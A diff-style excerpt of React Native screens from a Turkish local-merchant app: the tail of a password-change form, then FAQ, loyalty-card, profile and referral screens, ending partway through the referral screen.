onChangeText={setConfirmPassword}
placeholder="Yeni sifrenizi tekrarlayin"
placeholderTextColor={colors.textLight}
secureTextEntry
/>
<TouchableOpacity
style={[styles.button, loading && styles.buttonDisabled]}
onPress={handleSubmit}
disabled={loading}>
<Text style={styles.buttonText}>
{loading ? t('changePassword.changing') : t('changePassword.change')}
</Text>
</TouchableOpacity>
</View>
</ScrollView>
</KeyboardAvoidingView>
);
}
const styles = StyleSheet.create({
container: {flex: 1, backgroundColor: colors.background},
scroll: {flexGrow: 1, padding: spacing.xl},
backButton: {
paddingTop: 40,
paddingBottom: spacing.lg,
},
backText: {...typography.body, color: colors.primary},
title: {...typography.h2, color: colors.textPrimary, marginBottom: spacing.xs},
subtitle: {...typography.caption, color: colors.textSecondary, marginBottom: spacing.xxl},
form: {width: '100%'},
label: {
...typography.captionBold,
color: colors.textPrimary,
marginBottom: spacing.xs,
marginTop: spacing.lg,
},
input: {
backgroundColor: colors.backgroundWhite,
borderWidth: 1,
borderColor: colors.border,
borderRadius: borderRadius.md,
padding: spacing.lg,
fontSize: 16,
color: colors.textPrimary,
},
button: {
backgroundColor: colors.primary,
borderRadius: borderRadius.md,
padding: spacing.lg,
alignItems: 'center',
marginTop: spacing.xxl,
},
buttonDisabled: {opacity: 0.6},
buttonText: {...typography.button, color: colors.textWhite},
});
@@ -0,0 +1,140 @@
import React, {useEffect, useState} from 'react';
import {
View,
Text,
FlatList,
TouchableOpacity,
StyleSheet,
ActivityIndicator,
} from 'react-native';
import {useSafeAreaInsets} from 'react-native-safe-area-context';
import {useTranslation} from 'react-i18next';
import {colors} from '../../theme';
import * as faqApi from '../../api/faq';
import type {FaqItem} from '../../api/faq';
export default function FaqScreen({navigation}: any) {
const {t} = useTranslation();
const [faqs, setFaqs] = useState<FaqItem[]>([]);
const [loading, setLoading] = useState(true);
const [expandedId, setExpandedId] = useState<string | null>(null);
const [activeCategory, setActiveCategory] = useState<string>('all');
const insets = useSafeAreaInsets();
useEffect(() => {
faqApi.getFaqs().then(data => {
setFaqs(data);
setLoading(false);
}).catch(() => setLoading(false));
}, []);
const categories = ['all', ...new Set(faqs.map(f => f.category))];
const filtered = activeCategory === 'all' ? faqs : faqs.filter(f => f.category === activeCategory);
const CATEGORY_LABELS: Record<string, string> = {
all: 'Tümü',
genel: 'Genel',
musteriler: 'Müşteriler',
isletmeler: 'İşletmeler',
odeme: 'Ödeme',
};
return (
<View style={[styles.container, {paddingTop: insets.top}]}>
{/* Header */}
<View style={styles.header}>
<TouchableOpacity onPress={() => navigation.goBack()} style={styles.backBtn}>
<Text style={styles.backIcon}></Text>
</TouchableOpacity>
<Text style={styles.headerTitle}>{t('faq.title')}</Text>
<View style={{width: 40}} />
</View>
{/* Category tabs */}
<FlatList
horizontal
data={categories}
keyExtractor={item => item}
showsHorizontalScrollIndicator={false}
contentContainerStyle={styles.categoryList}
renderItem={({item}) => (
<TouchableOpacity
style={[styles.categoryChip, activeCategory === item && styles.categoryChipActive]}
onPress={() => setActiveCategory(item)}>
<Text style={[styles.categoryChipText, activeCategory === item && styles.categoryChipTextActive]}>
{CATEGORY_LABELS[item] || item}
</Text>
</TouchableOpacity>
)}
/>
{loading ? (
<ActivityIndicator size="large" color={colors.primary} style={{marginTop: 40}} />
) : (
<FlatList
data={filtered}
keyExtractor={item => item.id}
contentContainerStyle={styles.list}
renderItem={({item}) => (
<TouchableOpacity
style={styles.faqItem}
onPress={() => setExpandedId(expandedId === item.id ? null : item.id)}
activeOpacity={0.7}>
<View style={styles.faqQuestion}>
<Text style={styles.faqQuestionText}>{item.question}</Text>
<Text style={styles.faqArrow}>{expandedId === item.id ? '' : '+'}</Text>
</View>
{expandedId === item.id && (
<Text style={styles.faqAnswer}>{item.answer}</Text>
)}
</TouchableOpacity>
)}
ListEmptyComponent={
<View style={styles.empty}>
<Text style={styles.emptyText}>{t('faq.empty')}</Text>
</View>
}
/>
)}
</View>
);
}
const styles = StyleSheet.create({
container: {flex: 1, backgroundColor: '#F8F8F8'},
header: {
flexDirection: 'row', alignItems: 'center', justifyContent: 'space-between',
paddingHorizontal: 16, paddingVertical: 14,
backgroundColor: '#FFFFFF', borderBottomWidth: 1, borderBottomColor: '#F3F4F6',
},
backBtn: {width: 40, height: 40, justifyContent: 'center', alignItems: 'center'},
backIcon: {fontSize: 22, color: '#1A1A1A'},
headerTitle: {fontSize: 17, fontWeight: '700', color: '#1A1A1A'},
categoryList: {paddingHorizontal: 16, paddingVertical: 12, backgroundColor: '#FFFFFF'},
categoryChip: {
paddingHorizontal: 18, paddingVertical: 10,
borderRadius: 20, borderWidth: 1, borderColor: '#E5E7EB',
minWidth: 70, alignItems: 'center' as const,
marginRight: 8,
},
categoryChipActive: {backgroundColor: colors.primary, borderColor: colors.primary},
categoryChipText: {fontSize: 14, fontWeight: '600', color: '#374151'},
categoryChipTextActive: {color: '#FFFFFF'},
list: {paddingHorizontal: 16, paddingTop: 12, paddingBottom: 100},
faqItem: {
backgroundColor: '#FFFFFF', borderRadius: 12,
marginBottom: 8, overflow: 'hidden',
},
faqQuestion: {
flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center',
padding: 16,
},
faqQuestionText: {fontSize: 15, fontWeight: '600', color: '#1A1A1A', flex: 1, marginRight: 12},
faqArrow: {fontSize: 20, fontWeight: '300', color: '#9CA3AF'},
faqAnswer: {
fontSize: 14, color: '#6B7280', lineHeight: 20,
paddingHorizontal: 16, paddingBottom: 16,
},
empty: {alignItems: 'center', paddingTop: 40},
emptyText: {fontSize: 14, color: '#9CA3AF'},
});
@@ -0,0 +1,232 @@
import React, {useCallback, useState} from 'react';
import {
View,
Text,
FlatList,
StyleSheet,
RefreshControl,
ActivityIndicator,
TouchableOpacity,
Alert,
} from 'react-native';
import {useFocusEffect} from '@react-navigation/native';
import {useSafeAreaInsets} from 'react-native-safe-area-context';
import {useTranslation} from 'react-i18next';
import {colors, borderRadius} from '../../theme';
import {getMyCards, redeemReward} from '../../api/merchants';
import type {LoyaltyCard} from '../../types/models';
const CATEGORY_EMOJI: Record<string, string> = {
barber: '💈',
cafe: '☕',
butcher: '🥩',
greengrocer: '🥬',
pharmacy: '💊',
tailor: '🧵',
bakery: '🍞',
other: '🏪',
};
function progressPercent(card: LoyaltyCard): number {
if (card.program_type === 'stamp' && card.stamps_required) {
return Math.min(100, (card.current_stamps / card.stamps_required) * 100);
}
if (card.program_type === 'points' && card.points_required) {
return Math.min(100, (card.current_points / card.points_required) * 100);
}
if (card.program_type === 'frequency' && card.frequency_required) {
return Math.min(100, (card.visit_count / card.frequency_required) * 100);
}
return 0;
}
function progressText(card: LoyaltyCard): string {
if (card.program_type === 'stamp' && card.stamps_required) {
return `${card.current_stamps}/${card.stamps_required} pul`;
}
if (card.program_type === 'points' && card.points_required) {
return `${card.current_points}/${card.points_required} puan`;
}
if (card.program_type === 'frequency' && card.frequency_required) {
return `${card.visit_count}/${card.frequency_required} ziyaret`;
}
return '';
}
export default function LoyaltyCardsScreen({navigation}: any) {
const {t} = useTranslation();
const [cards, setCards] = useState<LoyaltyCard[]>([]);
const [loading, setLoading] = useState(true);
const [refreshing, setRefreshing] = useState(false);
const insets = useSafeAreaInsets();
const fetchCards = async (isRefresh = false) => {
if (isRefresh) setRefreshing(true);
else setLoading(true);
try {
const data = await getMyCards();
setCards(data);
} catch {
setCards([]);
} finally {
setLoading(false);
setRefreshing(false);
}
};
useFocusEffect(
useCallback(() => {
fetchCards();
}, []),
);
const handleRedeem = async (card: LoyaltyCard) => {
const pct = progressPercent(card);
if (pct < 100) {
Alert.alert('Henuz hazir degil', `Odulunuzu almak icin ${progressText(card)} tamamlayin.`);
return;
}
Alert.alert(
'Odul Al',
`${card.reward_description}\n\nOdulunuzu almak istiyor musunuz?`,
[
{text: 'Vazgec', style: 'cancel'},
{
text: 'Odul Al',
onPress: async () => {
try {
await redeemReward(card.id);
Alert.alert('Tebrikler!', 'Odulunuz kullanildi.');
fetchCards();
} catch (err: any) {
Alert.alert('Hata', err?.response?.data?.message || 'Odul alinamadi');
}
},
},
],
);
};
if (loading && cards.length === 0) {
return (
<View style={styles.loadingContainer}>
<ActivityIndicator size="large" color={colors.primary} />
</View>
);
}
return (
<View style={styles.container}>
<View style={[styles.header, {paddingTop: insets.top + 12}]}>
<TouchableOpacity onPress={() => navigation.goBack()}>
<Text style={styles.backIcon}>{'\u2190'}</Text>
</TouchableOpacity>
<Text style={styles.headerTitle}>{t('loyalty.title')}</Text>
<View style={{width: 30}} />
</View>
<FlatList
data={cards}
keyExtractor={item => item.id}
renderItem={({item}) => {
const pct = progressPercent(item);
const emoji = CATEGORY_EMOJI[item.merchant_category] || '🏪';
const ready = pct >= 100;
return (
<View style={styles.card}>
<View style={styles.cardHeader}>
<Text style={styles.cardEmoji}>{emoji}</Text>
<View style={styles.cardInfo}>
<Text style={styles.cardMerchant}>{item.merchant_name}</Text>
<Text style={styles.cardProgram}>{item.program_name}</Text>
</View>
{ready && (
<TouchableOpacity style={styles.redeemBtn} onPress={() => handleRedeem(item)}>
<Text style={styles.redeemText}>{t('loyalty.redeemButton')}</Text>
</TouchableOpacity>
)}
</View>
<View style={styles.progressBar}>
<View style={[styles.progressFill, {width: `${pct}%`}]} />
</View>
<View style={styles.cardFooter}>
<Text style={styles.progressLabel}>{progressText(item)}</Text>
<Text style={styles.rewardLabel}>{item.reward_description}</Text>
</View>
{item.last_visit && (
<Text style={styles.lastVisit}>Son ziyaret: {item.last_visit.split('T')[0]}</Text>
)}
</View>
);
}}
contentContainerStyle={styles.list}
refreshControl={
<RefreshControl refreshing={refreshing} onRefresh={() => fetchCards(true)} colors={[colors.primary]} />
}
ListEmptyComponent={
<View style={styles.empty}>
<Text style={{fontSize: 48, marginBottom: 16}}>💳</Text>
<Text style={styles.emptyTitle}>{t('loyalty.emptyTitle')}</Text>
<Text style={styles.emptyText}>{t('loyalty.emptyText')}</Text>
<TouchableOpacity
style={styles.explorBtn}
onPress={() => navigation.navigate('EsnafMap')}>
<Text style={styles.explorText}>{t('loyalty.exploreMerchants')}</Text>
</TouchableOpacity>
</View>
}
/>
</View>
);
}
const styles = StyleSheet.create({
container: {flex: 1, backgroundColor: '#F8F8F8'},
loadingContainer: {flex: 1, justifyContent: 'center', alignItems: 'center', backgroundColor: '#F8F8F8'},
header: {
flexDirection: 'row', alignItems: 'center', justifyContent: 'space-between',
paddingHorizontal: 16, paddingBottom: 16, backgroundColor: colors.primary,
},
backIcon: {fontSize: 22, color: '#FFFFFF'},
headerTitle: {fontSize: 17, fontWeight: '700', color: '#FFFFFF'},
list: {padding: 16, paddingBottom: 100},
card: {
backgroundColor: '#FFFFFF', borderRadius: borderRadius.lg, padding: 16,
marginBottom: 12, shadowColor: '#000', shadowOffset: {width: 0, height: 2},
shadowOpacity: 0.06, shadowRadius: 4, elevation: 2,
},
cardHeader: {flexDirection: 'row', alignItems: 'center', marginBottom: 12},
cardEmoji: {fontSize: 28, marginRight: 12},
cardInfo: {flex: 1},
cardMerchant: {fontSize: 16, fontWeight: '700', color: '#1A1A1A'},
cardProgram: {fontSize: 12, color: '#6B7280', marginTop: 2},
redeemBtn: {
backgroundColor: colors.primary, borderRadius: 8,
paddingHorizontal: 14, paddingVertical: 8,
},
redeemText: {fontSize: 12, fontWeight: '700', color: '#FFFFFF'},
progressBar: {
height: 8, backgroundColor: '#F3F4F6', borderRadius: 4, overflow: 'hidden',
},
progressFill: {
height: '100%', backgroundColor: colors.primary, borderRadius: 4,
},
cardFooter: {
flexDirection: 'row', justifyContent: 'space-between', marginTop: 8,
},
progressLabel: {fontSize: 12, fontWeight: '600', color: '#374151'},
rewardLabel: {fontSize: 12, color: colors.primary, fontWeight: '600'},
lastVisit: {fontSize: 11, color: '#9CA3AF', marginTop: 6},
empty: {alignItems: 'center', paddingTop: 60, paddingHorizontal: 40},
emptyTitle: {fontSize: 18, fontWeight: '700', color: '#1A1A1A', marginBottom: 8},
emptyText: {fontSize: 14, color: '#6B7280', textAlign: 'center', marginBottom: 20},
explorBtn: {
backgroundColor: colors.primary, borderRadius: 12,
paddingHorizontal: 24, paddingVertical: 12,
},
explorText: {fontSize: 14, fontWeight: '700', color: '#FFFFFF'},
});
@@ -0,0 +1,541 @@
import React, {useEffect, useState} from 'react';
import {View, Text, ScrollView, StyleSheet, Alert, TouchableOpacity, Linking, Image, TextInput, Modal, FlatList} from 'react-native';
import {launchImageLibrary} from 'react-native-image-picker';
import {useSafeAreaInsets} from 'react-native-safe-area-context';
import {useTranslation} from 'react-i18next';
import {colors} from '../../theme';
import {useAuthStore} from '../../store/authStore';
import {deleteAccount, updateProfile} from '../../api/profile';
import client from '../../api/client';
import {getOrders} from '../../api/orders';
import * as merchantsApi from '../../api/merchants';
import {LANGUAGES, changeLanguage} from '../../i18n';
import type {LanguageCode} from '../../i18n';
import type {NavigationProp} from '@react-navigation/native';
interface ProfileScreenProps {
navigation: NavigationProp<Record<string, object | undefined>>;
}
function QuickActionCard({icon, label, count, onPress}: {icon: string; label: string; count?: number; onPress: () => void}) {
return (
<TouchableOpacity style={qaStyles.card} onPress={onPress} activeOpacity={0.7}>
<View style={qaStyles.iconContainer}>
<Text style={qaStyles.icon}>{icon}</Text>
</View>
<Text style={qaStyles.label}>{label}</Text>
{count != null && count > 0 && (
<View style={qaStyles.badge}>
<Text style={qaStyles.badgeText}>{count}</Text>
</View>
)}
</TouchableOpacity>
);
}
const qaStyles = StyleSheet.create({
card: {
flex: 1,
alignItems: 'center',
paddingVertical: 16,
backgroundColor: '#FFFFFF',
borderRadius: 12,
borderWidth: 1,
borderColor: '#F3F4F6',
position: 'relative',
},
iconContainer: {
width: 44,
height: 44,
borderRadius: 12,
backgroundColor: '#F3F4F6',
justifyContent: 'center',
alignItems: 'center',
marginBottom: 8,
},
icon: {fontSize: 20},
label: {fontSize: 12, fontWeight: '600', color: '#374151'},
badge: {
position: 'absolute',
top: 8,
right: 12,
backgroundColor: colors.primary,
borderRadius: 10,
minWidth: 20,
height: 20,
justifyContent: 'center',
alignItems: 'center',
paddingHorizontal: 6,
},
badgeText: {fontSize: 11, fontWeight: '700', color: '#FFFFFF'},
});
function MenuItem({
icon,
title,
subtitle,
onPress,
showArrow = true,
destructive = false,
value,
}: {
icon: string;
title: string;
subtitle?: string;
onPress?: () => void;
showArrow?: boolean;
destructive?: boolean;
value?: string;
}) {
return (
<TouchableOpacity
style={menuStyles.container}
onPress={onPress}
disabled={!onPress}
activeOpacity={0.6}>
<Text style={menuStyles.icon}>{icon}</Text>
<View style={menuStyles.textContainer}>
<Text style={[menuStyles.title, destructive && menuStyles.destructive]}>{title}</Text>
{subtitle && <Text style={menuStyles.subtitle}>{subtitle}</Text>}
</View>
{value && <Text style={menuStyles.value}>{value}</Text>}
{showArrow && <Text style={menuStyles.arrow}></Text>}
</TouchableOpacity>
);
}
const menuStyles = StyleSheet.create({
container: {
flexDirection: 'row',
alignItems: 'center',
paddingVertical: 14,
paddingHorizontal: 16,
gap: 12,
},
icon: {fontSize: 20},
textContainer: {flex: 1},
title: {fontSize: 15, fontWeight: '500', color: '#1A1A1A'},
subtitle: {fontSize: 12, color: '#9CA3AF', marginTop: 2},
destructive: {color: '#EF4444'},
value: {fontSize: 14, color: '#9CA3AF', fontWeight: '500'},
arrow: {fontSize: 22, color: '#D1D5DB', fontWeight: '300'},
});
export default function ProfileScreen({navigation}: ProfileScreenProps) {
const {t, i18n} = useTranslation();
const {user, logout, updateUser} = useAuthStore();
const insets = useSafeAreaInsets();
const [orderCount, setOrderCount] = useState(0);
const [cardCount, setCardCount] = useState(0);
const [appointmentCount, setAppointmentCount] = useState(0);
const [editingName, setEditingName] = useState(false);
const [nameInput, setNameInput] = useState(user?.name || '');
const [avatarUri, setAvatarUri] = useState(user?.avatar_url || '');
const [saving, setSaving] = useState(false);
const [langModalVisible, setLangModalVisible] = useState(false);
const currentLang = LANGUAGES.find(l => l.code === i18n.language) || LANGUAGES[0];
useEffect(() => {
getOrders().then(orders => setOrderCount(orders.length)).catch(() => {});
merchantsApi.getMyCards().then(cards => setCardCount(cards.length)).catch(() => {});
merchantsApi.getMyAppointments().then(appts => setAppointmentCount(appts.length)).catch(() => {});
}, []);
const handlePickAvatar = () => {
launchImageLibrary({mediaType: 'photo', maxWidth: 400, maxHeight: 400, quality: 0.8}, async (response) => {
if (response.didCancel || !response.assets?.[0]?.uri) return;
const asset = response.assets[0];
setSaving(true);
try {
// Upload photo
const formData = new FormData();
formData.append('photo', {uri: asset.uri, type: asset.type || 'image/jpeg', name: asset.fileName || 'avatar.jpg'} as any);
const {data} = await client.post<{url: string}>('/upload/avatar', formData, {
headers: {'Content-Type': 'multipart/form-data'},
});
// Update profile with new avatar URL
await updateProfile(undefined, data.url);
setAvatarUri(data.url);
if (updateUser) updateUser({avatar_url: data.url});
} catch {
// Avatar upload endpoint may not exist yet — save locally for display
setAvatarUri(asset.uri || '');
} finally {
setSaving(false);
}
});
};
const handleSaveName = async () => {
if (!nameInput.trim()) {
Alert.alert(t('common.error'), t('profile.nameRequired'));
return;
}
setSaving(true);
try {
await updateProfile(nameInput.trim());
if (updateUser) updateUser({name: nameInput.trim()});
setEditingName(false);
} catch (err: unknown) {
const message =
(err as {response?: {data?: {message?: string}}})?.response?.data?.message ||
t('profile.nameUpdateFailed');
Alert.alert(t('common.error'), message);
} finally {
setSaving(false);
}
};
const handleLogout = () => {
Alert.alert(
t('profile.logout'),
t('profile.logoutConfirm'),
[
{text: t('profile.logoutCancel'), style: 'cancel'},
{text: t('profile.logout'), style: 'destructive', onPress: logout},
],
);
};
const handleDeleteAccount = () => {
Alert.alert(
t('profile.deleteAccount'),
t('profile.deleteAccountConfirm'),
[
{text: t('common.cancel'), style: 'cancel'},
{
text: t('profile.deleteAccountButton'),
style: 'destructive',
onPress: async () => {
try {
await deleteAccount();
await logout();
} catch {
Alert.alert(t('common.error'), t('profile.deleteAccountFailed'));
}
},
},
],
);
};
const navigateTo = (screen: string) => {
navigation.navigate(screen);
};
return (
<View style={styles.container}>
<ScrollView showsVerticalScrollIndicator={false}>
{/* ── Header ── */}
<View style={[styles.header, {paddingTop: insets.top + 16}]}>
<Text style={styles.headerTitle}>{t('profile.title')}</Text>
</View>
{/* ── User Card ── */}
<View style={styles.userCard}>
<TouchableOpacity onPress={handlePickAvatar} activeOpacity={0.7}>
{avatarUri ? (
<Image source={{uri: avatarUri}} style={styles.avatarImage} />
) : (
<View style={styles.avatar}>
<Text style={styles.avatarText}>
{user?.name?.charAt(0)?.toUpperCase() || '?'}
</Text>
</View>
)}
<View style={styles.cameraIcon}>
<Text style={{fontSize: 12}}>📷</Text>
</View>
</TouchableOpacity>
<TouchableOpacity style={styles.userInfo} onPress={() => { setNameInput(user?.name || ''); setEditingName(true); }} activeOpacity={0.7}>
<Text style={styles.userName}>{user?.name || t('profile.defaultUser')}</Text>
<Text style={styles.userEmail}>{user?.email || ''}</Text>
<Text style={styles.editHint}>{t('profile.editHint')}</Text>
</TouchableOpacity>
</View>
{/* Name edit modal */}
<Modal visible={editingName} transparent animationType="fade">
<View style={styles.modalOverlay}>
<View style={styles.modalContent}>
<Text style={styles.modalTitle}>{t('profile.editNameTitle')}</Text>
<TextInput
style={styles.modalInput}
value={nameInput}
onChangeText={setNameInput}
placeholder={t('profile.namePlaceholder')}
placeholderTextColor="#9CA3AF"
autoFocus
maxLength={100}
/>
<View style={styles.modalButtons}>
<TouchableOpacity style={styles.modalCancel} onPress={() => setEditingName(false)}>
<Text style={styles.modalCancelText}>{t('common.cancel')}</Text>
</TouchableOpacity>
<TouchableOpacity style={[styles.modalSave, saving && {opacity: 0.6}]} onPress={handleSaveName} disabled={saving}>
<Text style={styles.modalSaveText}>{saving ? t('common.saving') : t('common.save')}</Text>
</TouchableOpacity>
</View>
</View>
</View>
</Modal>
{/* ── Quick Actions — all connected to real API data ── */}
<View style={styles.quickActions}>
<QuickActionCard
icon="📦"
label={t('profile.ordersLabel')}
count={orderCount}
onPress={() => navigateTo('Orders')}
/>
<QuickActionCard
icon="📅"
label={t('profile.appointmentsLabel')}
count={appointmentCount}
onPress={() => navigateTo('Appointments')}
/>
<QuickActionCard
icon="💳"
label={t('profile.loyaltyLabel')}
count={cardCount}
onPress={() => navigateTo('LoyaltyCards')}
/>
</View>
{/* ── Discover ── */}
<View style={styles.section}>
<Text style={styles.sectionLabel}>{t('profile.discoverLabel')}</Text>
<View style={styles.menuCard}>
<MenuItem
icon="🍞"
title={t('profile.surprisePackages')}
subtitle={t('profile.surprisePackagesDesc')}
onPress={() => navigateTo('YemekMap')}
/>
<View style={styles.menuDivider} />
<MenuItem
icon="🏪"
title={t('profile.neighborhoodMerchants')}
subtitle={t('profile.neighborhoodMerchantsDesc')}
onPress={() => navigateTo('EsnafMap')}
/>
</View>
</View>
{/* ── Security ── */}
<View style={styles.section}>
<Text style={styles.sectionLabel}>{t('profile.securityLabel')}</Text>
<View style={styles.menuCard}>
<MenuItem
icon="🔒"
title={t('profile.changePassword')}
onPress={() => navigateTo('ChangePassword')}
/>
</View>
</View>
{/* ── Language ── */}
<View style={styles.section}>
<Text style={styles.sectionLabel}>{t('profile.language')}</Text>
<View style={styles.menuCard}>
<MenuItem
icon="🌍"
title={t('profile.language')}
value={currentLang.label}
onPress={() => setLangModalVisible(true)}
/>
</View>
</View>
{/* Language picker modal */}
<Modal visible={langModalVisible} transparent animationType="slide">
<View style={styles.modalOverlay}>
<View style={styles.modalContent}>
<Text style={styles.modalTitle}>{t('profile.selectLanguage')}</Text>
<FlatList
data={LANGUAGES}
keyExtractor={item => item.code}
renderItem={({item}) => (
<TouchableOpacity
style={langStyles.row}
activeOpacity={0.6}
onPress={() => {
changeLanguage(item.code as LanguageCode);
setLangModalVisible(false);
}}>
<Text style={langStyles.label}>{item.label}</Text>
{item.code === i18n.language && <Text style={langStyles.check}></Text>}
</TouchableOpacity>
)}
ItemSeparatorComponent={() => <View style={langStyles.separator} />}
/>
<TouchableOpacity
style={[styles.modalCancel, {marginTop: 16}]}
onPress={() => setLangModalVisible(false)}>
<Text style={styles.modalCancelText}>{t('common.close')}</Text>
</TouchableOpacity>
</View>
</View>
</Modal>
{/* ── Support ── */}
<View style={styles.section}>
<Text style={styles.sectionLabel}>{t('profile.supportLabel')}</Text>
<View style={styles.menuCard}>
<MenuItem
icon="❓"
title={t('profile.faq')}
subtitle={t('profile.faqDesc')}
onPress={() => navigateTo('Faq')}
/>
<View style={styles.menuDivider} />
<MenuItem
icon="📧"
title={t('profile.contactLabel')}
subtitle={t('profile.contactEmail')}
onPress={() => Linking.openURL(`mailto:${t('profile.contactEmail')}`)}
/>
<View style={styles.menuDivider} />
<MenuItem
icon="🌐"
title={t('profile.website')}
subtitle={t('profile.websiteUrl')}
onPress={() => Linking.openURL(`https://${t('profile.websiteUrl')}`)}
/>
</View>
</View>
{/* ── App ── */}
<View style={styles.section}>
<View style={styles.menuCard}>
<MenuItem
icon="️"
title={t('profile.version')}
value="1.0.0"
showArrow={false}
/>
<View style={styles.menuDivider} />
<MenuItem
icon="🚪"
title={t('profile.logout')}
onPress={handleLogout}
showArrow={false}
destructive
/>
<View style={styles.menuDivider} />
<MenuItem
icon="⚠️"
title={t('profile.deleteAccount')}
subtitle={t('profile.deleteAccountDesc')}
onPress={handleDeleteAccount}
showArrow={false}
destructive
/>
</View>
</View>
<View style={{height: 100}} />
</ScrollView>
</View>
);
}
const styles = StyleSheet.create({
container: {flex: 1, backgroundColor: '#F8F8F8'},
header: {
backgroundColor: '#FFFFFF',
paddingHorizontal: 16,
paddingBottom: 4,
},
headerTitle: {
fontSize: 22,
fontWeight: '700',
color: '#1A1A1A',
},
userCard: {
backgroundColor: '#FFFFFF',
flexDirection: 'row',
alignItems: 'center',
paddingHorizontal: 16,
paddingVertical: 16,
gap: 14,
},
avatar: {
width: 56,
height: 56,
borderRadius: 28,
backgroundColor: colors.primary,
justifyContent: 'center',
alignItems: 'center',
},
avatarText: {
fontSize: 24,
fontWeight: '700',
color: '#FFFFFF',
},
avatarImage: {
width: 56, height: 56, borderRadius: 28,
},
cameraIcon: {
position: 'absolute', bottom: -2, right: -2,
width: 22, height: 22, borderRadius: 11,
backgroundColor: '#FFFFFF', borderWidth: 1.5, borderColor: '#E5E7EB',
justifyContent: 'center', alignItems: 'center',
},
userInfo: {flex: 1},
userName: {fontSize: 20, fontWeight: '700', color: '#1A1A1A', marginBottom: 2},
userEmail: {fontSize: 13, color: '#9CA3AF'},
editHint: {fontSize: 11, color: colors.primary, fontWeight: '600', marginTop: 2},
modalOverlay: {
flex: 1, backgroundColor: 'rgba(0,0,0,0.5)',
justifyContent: 'center', paddingHorizontal: 32,
},
modalContent: {
backgroundColor: '#FFFFFF', borderRadius: 16, padding: 24,
},
modalTitle: {fontSize: 18, fontWeight: '700', color: '#1A1A1A', marginBottom: 16},
modalInput: {
borderWidth: 1, borderColor: '#E5E7EB', borderRadius: 12,
paddingHorizontal: 16, paddingVertical: 14, fontSize: 16, color: '#1A1A1A',
},
modalButtons: {flexDirection: 'row', gap: 12, marginTop: 20},
modalCancel: {
flex: 1, paddingVertical: 14, borderRadius: 12,
borderWidth: 1, borderColor: '#E5E7EB', alignItems: 'center',
},
modalCancelText: {fontSize: 15, fontWeight: '600', color: '#6B7280'},
modalSave: {
flex: 1, paddingVertical: 14, borderRadius: 12,
backgroundColor: colors.primary, alignItems: 'center',
},
modalSaveText: {fontSize: 15, fontWeight: '700', color: '#FFFFFF'},
quickActions: {
flexDirection: 'row',
gap: 10,
paddingHorizontal: 16,
paddingVertical: 16,
backgroundColor: '#FFFFFF',
},
section: {marginTop: 16, paddingHorizontal: 16},
sectionLabel: {fontSize: 14, fontWeight: '700', color: '#6B7280', marginBottom: 8, marginLeft: 4},
menuCard: {backgroundColor: '#FFFFFF', borderRadius: 12, overflow: 'hidden'},
menuDivider: {height: 1, backgroundColor: '#F3F4F6', marginLeft: 52},
});
const langStyles = StyleSheet.create({
row: {
flexDirection: 'row',
alignItems: 'center',
justifyContent: 'space-between',
paddingVertical: 14,
paddingHorizontal: 4,
},
label: {fontSize: 16, fontWeight: '500', color: '#1A1A1A'},
check: {fontSize: 18, fontWeight: '700', color: colors.primary},
separator: {height: 1, backgroundColor: '#F3F4F6'},
});
@@ -0,0 +1,433 @@
import React, {useCallback, useState} from 'react';
import {
View,
Text,
ScrollView,
StyleSheet,
TouchableOpacity,
Share,
Linking,
ActivityIndicator,
RefreshControl,
Alert,
} from 'react-native';
import {useFocusEffect} from '@react-navigation/native';
import {useSafeAreaInsets} from 'react-native-safe-area-context';
import {useTranslation} from 'react-i18next';
import {colors, borderRadius} from '../../theme';
import {getReferralStats, getReferralHistory} from '../../api/referral';
import type {ReferralStats, ReferralHistoryItem} from '../../api/referral';
export default function ReferralScreen({navigation}: {navigation: {goBack: () => void}}) {
const {t} = useTranslation();
const [stats, setStats] = useState<ReferralStats | null>(null);
const [history, setHistory] = useState<ReferralHistoryItem[]>([]);
const [loading, setLoading] = useState(true);
const [refreshing, setRefreshing] = useState(false);
const insets = useSafeAreaInsets();
const fetchData = async (isRefresh = false) => {
if (isRefresh) {
setRefreshing(true);
} else {
setLoading(true);
}
try {
const [statsData, historyData] = await Promise.all([
getReferralStats(),
getReferralHistory(),
]);
setStats(statsData);
setHistory(historyData);
} catch {
// Silently handle — empty state will show
} finally {
setLoading(false);
setRefreshing(false);
}
};
useFocusEffect(
useCallback(() => {
fetchData();
}, []),
);
const shareText =
stats?.code
? `Bereketli'ye katil, birlikte kazanalim! Davet kodum: ${stats.code}\nhttps://bereketli.pezkiwi.app/davet/${stats.code}`
: '';
const handleCopy = async () => {
if (!stats?.code) return;
try {
const Clipboard = require('react-native').Clipboard;
Clipboard.setString(stats.code);
Alert.alert('Kopyalandi', `Davet kodun: ${stats.code}`);
} catch {
Share.share({message: stats.code});
}
};
const handleWhatsApp = () => {
if (!shareText) return;
const url = `whatsapp://send?text=${encodeURIComponent(shareText)}`;
Linking.openURL(url).catch(() => {
Linking.openURL(
`https://wa.me/?text=${encodeURIComponent(shareText)}`,
).catch(() => {});
});
};
const handleShare = () => {
if (!shareText) return;
Share.share({message: shareText});
};
if (loading && !stats) {
return (
<View style={styles.loadingContainer}>
<ActivityIndicator size="large" color={colors.primary} />
</View>
);
}
const pointsBalance = stats?.stats.points_balance ?? 0;
return (
<View style={styles.container}>
{/* Header */}
<View style={[styles.header, {paddingTop: insets.top + 12}]}>
<TouchableOpacity onPress={() => navigation.goBack()}>
<Text style={styles.backIcon}>{'\u2190'}</Text>
</TouchableOpacity>
<Text style={styles.headerTitle}>{t('referral.title')}</Text>
<View style={{width: 30}} />
</View>
<ScrollView
showsVerticalScrollIndicator={false}
refreshControl={
<RefreshControl
refreshing={refreshing}
onRefresh={() => fetchData(true)}
colors={[colors.primary]}
/>
}>
{/* Points Balance */}
<View style={styles.pointsCard}>
<Text style={styles.pointsLabel}>{t('referral.totalPoints')}</Text>
<Text style={styles.pointsValue}>{pointsBalance}</Text>
<Text style={styles.pointsUnit}>{t('referral.pointsUnit')}</Text>
{stats && (
<View style={styles.statsRow}>
<View style={styles.statItem}>
<Text style={styles.statNumber}>{stats.stats.total_referrals}</Text>
<Text style={styles.statLabel}>Davet</Text>
</View>
<View style={styles.statDivider} />
<View style={styles.statItem}>
<Text style={styles.statNumber}>{stats.stats.completed_referrals}</Text>
<Text style={styles.statLabel}>Tamamlanan</Text>
</View>
<View style={styles.statDivider} />
<View style={styles.statItem}>
<Text style={styles.statNumber}>{stats.stats.total_earned}</Text>
<Text style={styles.statLabel}>Kazanilan</Text>
</View>
</View>
)}
</View>
{/* Referral Code */}
<View style={styles.section}>
